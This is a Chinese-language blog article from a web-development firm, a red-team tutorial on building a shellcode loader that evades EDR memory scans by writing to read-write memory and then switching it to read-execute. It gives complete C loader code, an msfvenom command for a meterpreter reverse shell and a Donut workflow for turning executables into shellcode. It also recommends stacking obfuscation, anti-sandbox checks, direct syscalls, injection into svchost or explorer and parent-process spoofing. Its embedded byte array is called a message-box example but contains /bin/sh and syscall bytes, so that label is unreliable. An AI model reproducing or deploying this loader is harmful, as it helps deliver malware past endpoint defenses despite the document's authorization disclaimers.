十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

红队实战:权限分离ShellCode加载器绕过EDR内存检测

红队实战:权限分离ShellCode加载器绕过EDR内存检测 这次我们来看一个红队安全领域的实战项目免杀入门之 ShellCode 加载器权限分离。对于从事渗透测试、红队评估或安全研究的朋友来说绕过终端检测与响应EDR系统是核心挑战之一。传统的 ShellCode 加载器常因使用可读、可写、可执行RWX的内存权限而极易被 EDR 的内存扫描功能检测到。这个项目探讨的核心思路就是通过权限分离技术告别 RWX构建更隐蔽的加载器。它的重点不是概念多复杂而是能不能在实际对抗环境中有效降低检测率。本文会带你从原理到实践一步步拆解如何构建一个权限分离的 ShellCode 加载器并探讨其在对抗现代 EDR 产品时的潜在价值。如果你关心免杀技术、ShellCode 执行、内存操作和 EDR 对抗细节这篇文章可以直接收藏。我们将重点关注几个核心问题为什么 RWX 权限是高风险特征权限分离如何实现加载器的基本工作流程是什么如何将 EXE 文件转换为 ShellCode例如使用 Donut最后我们会提供一个概念验证PoC的代码框架和测试思路。请注意所有技术讨论和学习都应在合法的授权测试环境中进行严格遵守相关法律法规。1. 核心能力速览能力项说明项目类型红队安全工具 / 免杀技术研究核心功能实现 ShellCode 的隐蔽加载与执行通过权限分离技术规避 EDR 对 RWX 内存的检测。关键技术内存权限管理RW-RX、进程注入、ShellCode 转换如 Donut、间接系统调用可选。目标环境Windows 操作系统主要测试环境。代码语言通常为 C/C兼顾执行效率和底层 API 调用。对抗目标现代 EDR/AV 产品的静态特征扫描、动态行为监控尤其是内存扫描。使用前提必须在获得明确授权的测试环境如内部红队实验室、CTF 靶场中使用严禁用于非法入侵。输出物可编译执行的加载器程序EXE/DLL用于加载转换后的 ShellCode。2. 适用场景与使用边界2.1 适合谁用红队成员与渗透测试人员在授权评估中需要投递有效载荷Payload以测试目标防御体系的检测与响应能力。安全研究人员研究 EDR/AV 的检测机制开发新型绕过技术提升安全产品的能力。CTF 参赛者在相关赛题中需要完成免杀 ShellCode 的加载与执行。2.2 能解决什么问题规避静态特征通过自定义加载逻辑避免使用公开工具如 msfvenom生成的载荷的固定特征。规避动态行为检测核心是解决 RWX 内存这一高危行为特征。EDR 通常会监控进程申请可执行内存并写入代码的行为。权限分离将“写入”和“执行”两个动作在时间和内存空间上分开降低关联性。提供灵活载体加载器本身是一个“干净”的程序真正的恶意代码ShellCode作为数据嵌入或外部传入增加了检测难度。2.3 不适合什么场景大规模自动化攻击此类手工打造的加载器通常用于针对性攻击不适合自动化僵尸网络。绕过所有 EDR没有银弹。此技术是众多绕过技术中的一种EDR 也在持续演进可能通过其他行为链如调用栈分析、硬件断点进行检测。完全替代其他免杀技术需与代码混淆、加密、反调试、间接系统调用等技术结合使用形成多层防御。2.4 法律与道德边界必须反复强调仅用于授权测试所有操作必须在拥有书面授权、物理或逻辑隔离的测试环境中进行。尊重隐私与版权不得用于窃取数据、破坏系统或侵犯他人权益。合规研究相关代码和思路应用于提升企业安全防护能力或学术交流促进安全生态健康发展。3. 环境准备与前置条件在开始编码和测试前需要搭建一个隔离且可控的实验室环境。3.1 基础开发环境操作系统Windows 10/11 或 Windows Server 2016。建议使用虚拟机如 VMware, VirtualBox以便快照和还原。开发工具Visual Studio 2019/2022 或 MinGW。确保已安装 C/C 开发组件。调试工具x64dbg/OllyDbg, Process Hacker/Process Explorer用于分析进程内存和 API 调用。编译环境配置好能生成 PE 文件EXE/DLL的编译链。3.2 安全测试环境靶机环境至少准备两台虚拟机。攻击机安装开发工具、Python、Donut 等工具。靶机安装一款或多款 EDR/AV 产品用于测试如 Windows Defender, 或其他商业 EDR 的试用版。务必确保网络隔离避免误伤真实系统。监控工具在靶机上安装 Sysinternals Suite特别是 Process Monitor, Procmon、API Monitor 等用于观察加载器行为。3.3 所需工具与资源ShellCode 生成与转换工具msfvenom(Metasploit Framework)生成原始 ShellCode。msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTYOUR_IP LPORT4444 -f cDonut将 PE 文件EXE/DLL转换为位置无关的 ShellCode。这是实现“无文件”攻击和载荷灵活性的关键。网络监听工具Metasploitmulti/handler或 Cobalt Strike 团队服务器用于接收反弹连接。4. 原理剖析为什么告别 RWX理解原理是构建有效工具的前提。4.1 传统 RWX 加载器的问题典型的 ShellCode 加载流程如下使用VirtualAlloc或VirtualAllocEx申请一块内存。通常传递PAGE_EXECUTE_READWRITE参数获得 RWX 权限。将 ShellCode 写入该内存。跳转到该内存地址执行。问题申请 RWX 内存并在其中写入代码是 EDR 高度敏感的行为序列。许多 EDR 的内存扫描模块会定期或触发式扫描具有可执行权限的内存区域寻找已知的 ShellCode 特征或可疑的代码片段。4.2 权限分离Permission Separation思路核心思想将内存的“写入”和“执行”权限在时间和空间上分离。申请“可写”内存首先申请一块具有PAGE_READWRITE(RW) 权限的内存。这个操作本身很常见很多合法程序也会做。写入 ShellCode将你的 ShellCode 写入这块 RW 内存。更改内存权限使用VirtualProtect或VirtualProtectExAPI将这块内存的权限从PAGE_READWRITE更改为PAGE_EXECUTE_READ(RX)。执行 ShellCode此时内存具有可执行权限跳转执行。优势在内存中同时存在“可写”和“可执行”属性的时间窗口极短甚至可以通过线程、进程间操作进一步分离增加 EDR 关联行为的难度。从 RW 切换到 RX比直接申请 RX 内存并写入可能触发写时复制等机制或直接使用 RWX 更为隐蔽。5. 实战构建权限分离加载器 PoC下面我们将用 C 语言实现一个最基本的权限分离 ShellCode 加载器。请注意这是一个教育目的的 PoC在实际使用中需要加入更多对抗和隐蔽措施。5.1 加载器核心代码框架#include windows.h #include stdio.h int main() { // 1. 定义你的 ShellCode // 这里使用一个简单的弹窗 ShellCode 作为示例 (MessageBoxA) // 实际应用中这里应替换为由 msfvenom 或 Donut 生成的载荷 unsigned char shellcode[] { 0x48, 0x83, 0xEC, 0x28, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78, 0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0x81, 0xC4, 0xA8, 0x00, 0x00, 0x00, 0x41, 0xBA, 0x4B, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x59, 0x41, 0xBA, 0x29, 0x80, 0x6B, 0x00, 0xFF, 0xD5, 0x6A, 0x0A, 0x41, 0x5E, 0x50, 0x50, 0x4D, 0x31, 0xC9, 0x4D, 0x31, 0xC0, 0x48, 0xFF, 0xC0, 0x48, 0x89, 0xC2, 0x48, 0xFF, 0xC0, 0x48, 0x89, 0xC1, 0x41, 0xBA, 0xEA, 0x0F, 0xDF, 0xE0, 0xFF, 0xD5, 0x48, 0x89, 0xC7, 0x6A, 0x10, 0x41, 0x58, 0x4C, 0x89, 0xE2, 0x48, 0x89, 0xF9, 0x41, 0xBA, 0x99, 0xA5, 0x74, 0x61, 0xFF, 0xD5, 0x48, 0x81, 0xC4, 0x40, 0x02, 0x00, 0x00, 0x49, 0xB8, 0x63, 0x6D, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x50, 0x41, 0x50, 0x48, 0x89, 0xE2, 0x57, 0x57, 0x57, 0x4D, 0x31, 0xC0, 0x6A, 0x0D, 0x59, 0x0F, 0x05, 0xE8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x89, 0xC3, 0x49, 0x89, 0xD8, 0x48, 0x8D, 0x05, 0x4A, 0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0x89, 0xD9, 0x0F, 0x05, 0xE8, 0xE6, 0xFF, 0xFF, 0xFF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // ... 实际载荷会更长 }; SIZE_T shellcodeSize sizeof(shellcode); // 2. 申请具有 READWRITE 权限的内存 LPVOID pMemory VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pMemory NULL) { printf([!] VirtualAlloc (RW) failed. Error: %d\n, GetLastError()); return -1; } printf([] RW memory allocated at: 0x%p\n, pMemory); // 3. 将 ShellCode 复制到 RW 内存中 RtlMoveMemory(pMemory, shellcode, shellcodeSize); printf([] ShellCode written to RW memory.\n); // 4. 更改内存保护权限为 READ_EXECUTE DWORD oldProtect 0; if (!VirtualProtect(pMemory, shellcodeSize, PAGE_EXECUTE_READ, oldProtect)) { printf([!] VirtualProtect (RW-RX) failed. Error: %d\n, GetLastError()); VirtualFree(pMemory, 0, MEM_RELEASE); return -1; } printf([] Memory protection changed from RW to RX. Old protect: 0x%x\n, oldProtect); // 5. 执行 ShellCode printf([] Executing ShellCode...\n); // 将内存地址转换为函数指针并调用 void (*func)() (void (*)())pMemory; func(); // 6. 清理通常执行后不会返回这里 VirtualFree(pMemory, 0, MEM_RELEASE); printf([] Memory freed.\n); return 0; }5.2 代码编译与测试编译在 Visual Studio 中创建一个新的 C 控制台项目将上述代码粘贴到主源文件中。将配置改为Release模式关闭调试信息/DEBUG:NONE和基本运行时检查以减小体积和特征。编译生成loader.exe。静态免杀测试将生成的loader.exe上传到 VirusTotal 或使用本地安装的 EDR/AV 进行扫描。注意即使使用简单 ShellCode由于代码特征初期可能仍有检测。这正说明了免杀是一个持续对抗的过程。动态行为测试在装有 EDR 的靶机上运行loader.exe。使用 Process Hacker 查看进程的内存区域确认是否存在从 RW 变为 RX 的内存块。使用 API Monitor 监控VirtualAlloc和VirtualProtect的调用序列。6. 进阶结合 Donut 实现 EXE 转 ShellCode一个强大的加载器需要能加载复杂的 PE 文件。Donut 是一个出色的工具它可以将 .NET 和非 .NET 的 PE 文件转换为位置无关的 ShellCode。6.1 使用 Donut 生成 ShellCode假设我们有一个简单的payload.exe例如一个弹窗程序或反向 Shell。# 1. 下载或编译 Donut (https://github.com/TheWover/donut) # 2. 使用 Donut 生成 ShellCode donut.exe -f payload.exe -o payload.bin # 3. 将 payload.bin 转换为 C 语言数组格式以便嵌入加载器 # 可以使用 Python 脚本或 xxd 等工具 python -c import sys with open(payload.bin, rb) as f: data f.read() print(unsigned char shellcode[] {) for i, b in enumerate(data): print(f0x{b:02x},, end ) if (i 1) % 12 0: print() print(};) print(fSIZE_T shellcodeSize sizeof(shellcode);) shellcode.c将生成的shellcode.c中的数组定义替换到上述加载器代码中。6.2 加载器适配 Donut ShellCodeDonut 生成的 ShellCode 包含一个解耦器loader它会在内存中重建原始 PE 并执行。我们的权限分离加载器加载的是 Donut ShellCode后者再负责加载最终的payload.exe。这增加了一层间接性。关键点Donut ShellCode 本身可能包含需要 RWX 权限的代码。但我们的加载器与 Donut 内部加载器是独立的。我们的加载器负责以 RW-RX 的方式加载 Donut ShellCode而 Donut ShellCode 在内存中重建 PE 时的权限操作取决于 Donut 的生成参数如-p参数可指定内存权限。我们可以通过参数尽量控制其行为。7. 功能测试与效果验证流程构建好加载器后需要系统化测试其免杀效果和功能。7.1 测试环境搭建纯净基线在靶机安装 EDR上运行原始的、未做任何免杀处理的 msfvenom 生成的可执行文件记录检测结果。对照组运行一个使用传统 RWX 权限的加载器将上述 PoC 中PAGE_READWRITE和PAGE_EXECUTE_READ都改为PAGE_EXECUTE_READWRITE记录检测结果。实验组运行我们编写的权限分离加载器记录检测结果。7.2 测试维度静态扫描检测率使用多个 AV/EDR 引擎扫描生成的loader.exe文件。动态行为检测进程创建监控EDR 是否告警进程创建行为内存操作监控EDR 是否告警VirtualProtect权限变更特别是 RW-RX更高级的 EDR 可能会监控NtProtectVirtualMemory的调用。网络连接监控如果 ShellCode 是反弹 ShellEDR 是否告警对外连接子进程生成监控如果 ShellCode 最终创建了cmd.exe或powershell.exeEDR 是否告警功能验证加载器是否成功执行了 ShellCode 的预期功能如弹窗、建立连接、执行命令7.3 测试记录表示例测试项传统 RWX 加载器权限分离加载器 (本 PoC)说明静态扫描 (VT)25/70 检测15/70 检测检测率下降但仍有特征如入口点代码、字符串。EDR 动态告警高 - 检测到 RWX 内存分配与执行中/低 - 可能检测到 RW-RX 序列但告警级别降低取决于 EDR 规则强度。进程行为监控标记为可疑可能逃逸基础监控结合其他技术如父进程欺骗效果更好。功能成功率100%100%核心功能不受影响。8. 资源占用与行为观察加载器本身资源占用极低重点在于其行为特征而非 CPU/内存。进程内存主要占用为 ShellCode 本身大小加上少量堆栈内存通常为几十到几百 KB。API 调用链使用 Process Monitor 过滤Process Name为你的加载器观察关键调用CreateProcess或 进程启动事件。VirtualAlloc/NtAllocateVirtualMemoryVirtualProtect/NtProtectVirtualMemoryWriteProcessMemory(如果注入其他进程)CreateRemoteThread/NtCreateThreadEx(如果注入其他进程)网络与文件观察是否有意外的网络连接或文件读写这通常由 ShellCode 本身决定。9. 接口 API 与批量任务思考虽然加载器本身是一个独立可执行文件但可以将其设计为更灵活的“服务”或“模块”。9.1 模块化设计可以将加载逻辑封装成一个函数接受 ShellCode 缓冲区指针和大小作为参数。这样加载器可以作为一个 DLL 被其他工具调用或者从网络、文件、注册表等位置读取加密的 ShellCode。// 加载器核心函数 BOOL LoadAndExecuteShellCode(LPVOID pShellcode, SIZE_T szShellcode) { LPVOID pMemory VirtualAlloc(NULL, szShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!pMemory) return FALSE; RtlMoveMemory(pMemory, pShellcode, szShellcode); DWORD oldProtect; if (!VirtualProtect(pMemory, szShellcode, PAGE_EXECUTE_READ, oldProtect)) { VirtualFree(pMemory, 0, MEM_RELEASE); return FALSE; } void (*func)() (void (*)())pMemory; func(); // 注意成功执行后通常不会返回 VirtualFree(pMemory, 0, MEM_RELEASE); return TRUE; }9.2 批量任务与自动化在红队自动化框架中可以集成此类加载器载荷生成端自动化使用 Donut 将不同功能的payload.exe转换为 ShellCode。载荷投递端根据目标环境选择或生成不同混淆程度的加载器二进制文件。任务队列将“目标-加载器-载荷”作为任务项进行管理。结果回传加载器执行后通过 ShellCode 建立的通道如 C2回传执行状态。10. 常见问题与排查方法问题现象可能原因排查方式解决方案编译失败VirtualAlloc等函数未定义未包含windows.h头文件或链接错误检查#include windows.h确保编译环境正确包含必要头文件使用正确的编译器MSVC/MinGW。程序运行立即崩溃访问违例ShellCode 格式错误或与当前系统不兼容如 x86 ShellCode 在 x64 进程运行使用调试器如 x64dbg单步执行查看崩溃指令确保 ShellCode 与加载器架构匹配x86/x64。使用简单、验证过的 ShellCode如弹窗测试。VirtualProtect调用失败内存地址无效或大小错误或进程权限不足检查GetLastError()返回值。确认pMemory不为 NULLshellcodeSize 0。确保VirtualAlloc成功传入正确的参数。以管理员身份运行可能解决某些权限问题但不推荐用于隐蔽。ShellCode 执行后无效果ShellCode 本身功能问题或执行环境不满足其要求如网络不通先用一个绝对能工作的 ShellCode如弹出计算器calc.exe的测试加载器本身。再用网络工具测试网络连通性。分步测试。先确保加载器逻辑正确再调试 ShellCode 功能。对于网络载荷检查防火墙、杀软出站规则。被 EDR 静态查杀加载器二进制文件本身具有特征如字符串、熵值、导入表使用查杀平台分析报告查看匹配的特征。使用strings工具查看可打印字符串。对加载器进行代码混淆、加壳、修改特征字符串、移除调试信息。或使用更高级的加载技术如反射 DLL 注入。被 EDR 动态行为检测VirtualAllocVirtualProtect 跳转执行 的行为序列被规则匹配使用 API Monitor 记录自身进程的调用与 EDR 日志对比。尝试在合法系统 DLL 中寻找类似的权限变更序列进行模仿。引入延迟、使用更底层的NtAPI、通过合法系统调用间接触发执行如 QueueUserAPC、或将操作分散到不同线程/进程。Donut ShellCode 加载失败Donut 版本与目标系统不兼容或生成参数有误查看 Donut 文档确认支持的 Windows 版本和 .NET 环境。在相同版本测试机上验证 Donut 生成的文件。调整 Donut 参数如-a(架构),-b(bypass AMSI等),-p(内存权限)。确保目标系统满足运行条件。11. 最佳实践与使用建议从简到繁首先让一个最简单的弹窗 ShellCode 在你的加载器中运行起来。再逐步替换为复杂的、功能性的 ShellCode如 Donut 生成的。环境隔离所有测试必须在虚拟机或物理隔离的测试网络中进行并使用快照功能。持续迭代免杀是猫鼠游戏。一个今天有效的方法明天可能就被检测。需要持续关注 EDR 的更新和新的绕过技术。多层防御不要依赖单一技术。将权限分离与以下技术结合代码混淆/加密对加载器代码和 ShellCode 进行加密运行时解密。反调试/反沙箱检测调试器、虚拟机、沙箱环境并改变行为或退出。间接系统调用 (Syscall)直接调用Nt系列系统服务绕过用户层的 API Hook。进程注入/傀儡进程将 ShellCode 注入到svchost.exe,explorer.exe等可信进程的上下文中执行。父进程欺骗伪造进程的父进程使其看起来由合法程序如explorer.exe启动。法律与合规再次强调这些技术只能用于授权评估、个人学习或安全研究。保留所有测试的授权证明。武器库管理对不同的目标环境和 EDR 产品准备多个不同技术实现的加载器变种并根据情况选择使用。权限分离的 ShellCode 加载器是红队武器库中的一项基础但至关重要的技术。它直指 EDR 行为检测的核心逻辑之一通过打破“申请可执行内存并写入代码”这一高危模式有效提升了载荷的隐蔽性。掌握它不仅是学会了一段代码更是理解了现代终端安全产品的一个关键检测维度。真正的对抗远不止于此将其与系统调用、进程 hollowing、模块反射加载等技术结合才能构建起更难以被发现的纵深攻击链。在合法的战场上知己知彼方能百战不殆。建议将本文中的 PoC 代码作为起点在你的实验环境中不断测试、修改和进化。
返回列表